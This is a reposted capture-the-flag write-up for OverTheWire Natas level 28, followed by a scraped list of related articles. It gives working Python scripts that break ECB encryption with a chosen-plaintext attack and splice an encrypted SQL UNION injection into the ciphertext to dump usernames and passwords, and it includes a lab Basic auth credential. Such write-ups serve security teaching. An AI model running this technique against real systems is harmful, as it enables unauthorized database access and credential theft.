From:http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/

Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code:

 import requests
 from urllib import quote, unquote
 from chosen_plaintext import ChosenPlaintext

 class Client(ChosenPlaintext):

     def __init__(self):
         ChosenPlaintext.__init__(self)
         #self.block_size = 16
         #self.plaintext_offset = 32

         return

     def ciphertext(self, plaintext):

         print "[*] Trying plaintext: %s" % plaintext.encode("hex")
         headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
         resp = requests.post("http://natas28.natas.labs.overthewire.org/index.php", data={"query": plaintext}, headers=headers)

         data = unquote(resp.url.split("query=")[1]).decode("base64")
         print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex")

         return data

 c = Client()
 c.run()
 print 'recovered', repr(c.plaintext)

But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.

 import requests
 from urllib import quote, unquote
 import re

 from pwn import *

 natas_url = "http://natas28.natas.labs.overthewire.org/index.php"
 search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query="

 #authorization header
 headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}

 log.info("Retrieving first ciphertext")

 #pad plaintext to ensure it takes up a full ciphertext block
 plaintext = "A"*10 + "B"*14
 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)

 #get the raw bytes of the ciphertext
 encoded_ciphertext = resp.url.split("query=")[1]
 ciphertext = unquote(encoded_ciphertext).decode("base64")

 #sql to inject into ciphertext query
 new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #"
 log.info("Appending query: %s" % new_sql)

 #pad plaintext to ensure it also takes up a whole number of ciphertext blocks
 plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
 offset = 48 + len(plaintext)-10

 resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)
 encoded_new_ciphertext = resp.url.split("query=")[1]
 new_ciphertext = unquote(encoded_new_ciphertext).decode("base64")
 encrypted_sql = new_ciphertext[48:offset]

 #add the encrypted new sql into the final ciphertext
 final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:]

 resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers)

 log.info("Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])

This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.

reference:

https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_concat

转:Natas Wargame Level28 Writeup(EBC加密破解)的更多相关文章

  1. Natas Wargame Level20 Writeup(会话状态注入/篡改)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAArMAAACmCAYAAADJYwcaAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  2. Natas Wargame Level27 Writeup(SQL表的注入/溢出与截取)

    前端: <html> <head> <!-- This stuff in the header has nothing to do with the level --&g ...

  3. Natas Wargame Level25 Writeup(头部注入+POST/GET注入)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAArsAAAC8CAYAAAB4+WYTAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  4. Natas Wargame Level26 Writeup(PHP对象注入)

    源码: <?php // sry, this is ugly as hell. // cheers kaliman ;) // - morla class Logger{ private $lo ...

  5. 齐博软件(地方门户系统) 文件加密破解工具

    原文:齐博软件(地方门户系统) 文件加密破解工具 本程序为针对"齐博软件地方门户系统5.0官方原版"的破解工具,一个垃圾系统居然弄出这么恶心的加密方式,有个鸟用!以后见一个破一个! ...

  6. Zip伪加密 破解ZIP密码

    ZIP是一种相当简单的分别压缩每个文件的存档格式.分别压缩文件允许不必读取另外的数据而检索独立的文件:理论上,这种格式允许对不同的文件使用不同的算法.不管用何种方法,对这种格式的一个告诫是对于包含很多 ...

  7. GPP加密破解工具gpp-decrypt

    GPP加密破解工具gpp-decrypt   GPP是Group Policy Preferences(组策略首选项)的缩写,这是一个组策略实施工具.通过该工具,网络管理员可以实现更多的网络管理,如驱 ...

  8. python爬虫-有道翻译-js加密破解

    有道翻译-js加密破解 这是本地爬取的网址:http://fanyi.youdao.com/ 一.分析请求 我们在页面中输入:水果,翻译后的英文就是:fruit.请求携带的参数有很多,先将参数数据保存 ...

  9. 密码学笔记——eval(function(p,a,c,k,e,d) 加密破解

    密码学笔记——eval(function(p,a,c,k,e,d) 的加密破解 例题: 小明某天在看js的时候,突然看到了这么一段代码,发现怎么也理不出代码逻辑,你能帮帮他吗? 格式:SimCTF{} ...

随机推荐

  1. 用python模拟登录(解析cookie + 解析html + 表单提交 + 验证码识别 + excel读写 + 发送邮件)

    老婆大人每个月都要上一个网站上去查数据,然后做报表. 为了减轻老婆大人的工作压力,所以我决定做个小程序,减轻我老婆的工作量. 准备工作 1.tesseract-ocr 这个工具用来识别验证码,非常好用 ...

  2. Java 面试题:百度前200页都在这里了

    基本概念 操作系统中 heap 和 stack 的区别 什么是基于注解的切面实现 什么是 对象/关系 映射集成模块 什么是 Java 的反射机制 什么是 ACID BS与CS的联系与区别 Cookie ...

  3. [转载] Hadoop和Hive单机环境搭建

    转载自http://blog.csdn.net/yfkiss/article/details/7715476和http://blog.csdn.net/yfkiss/article/details/7 ...

  4. MD5 SHA1 HMAC HMAC_SHA1区别

    MD5.SHA1.HMAC.HMAC_SHA1区别 引言     什么是MD5,什么是SHA1,如何校验这些Hash.还有拿单个apk文件的MD5,SHA1讯问是不是原版的问题,在这里,让我们先来了解 ...

  5. jenkins 安装部署 springboot启动

     安装稳定版本的jenkins1,前置依赖:安装jdk-1.81,下载yum仓库sudo wget -O /etc/yum.repos.d/jenkins.repo  http://pkg.jenki ...

  6. (三):C++分布式实时应用框架——系统管理模块

    C++分布式实时应用框架--系统管理模块 上篇:(二): 基于ZeroMQ的实时通讯平台 一个分布式实时系统集群动辄上百台机器,集群的规模已经限定这将是一个"封闭"的系统.你不可能 ...

  7. MyRapid WinForm 快速开发框架

    MyRapid 框架介绍开发历程:作者是数据库相关软件开发从业人员,懒惰的,能交给电脑做的事情懒得自己做开发目的:处理底层数据传输,减少工作量,提高开发效率框架特点:数据库相关开发.易学易用.快速上手 ...

  8. JAVAFX-3 开发应用

    理解布局 布局容器(Layoutcontainer)或面板(Pane)允许对JavaFX应用程序场景图中的UI控件进行灵活.动态的排布.JavaFX Layout API包括下列容器类: ● Bord ...

  9. (12.05)Java小知识!

     今天与大家分享关于抽象类的知识点. 抽象类: 抽象类应用场景:在某种情况下,某个父类只是知道子类应该包含怎样的方法,但无法准确的知道这些子类如何实现这些方法. 从多一个具有相同特征的类中抽象出一个抽 ...

  10. .meta和模型贴图丢失

    一些策划的工程里经常出现模型贴图丢失,同样的工程,其他人没有问题.就算全部还原,也无法解决,最后只要美术在它的工程里重新关联贴图.一次偶然的机会,我发现把模型和贴图的.meta文件删除,让unity重 ...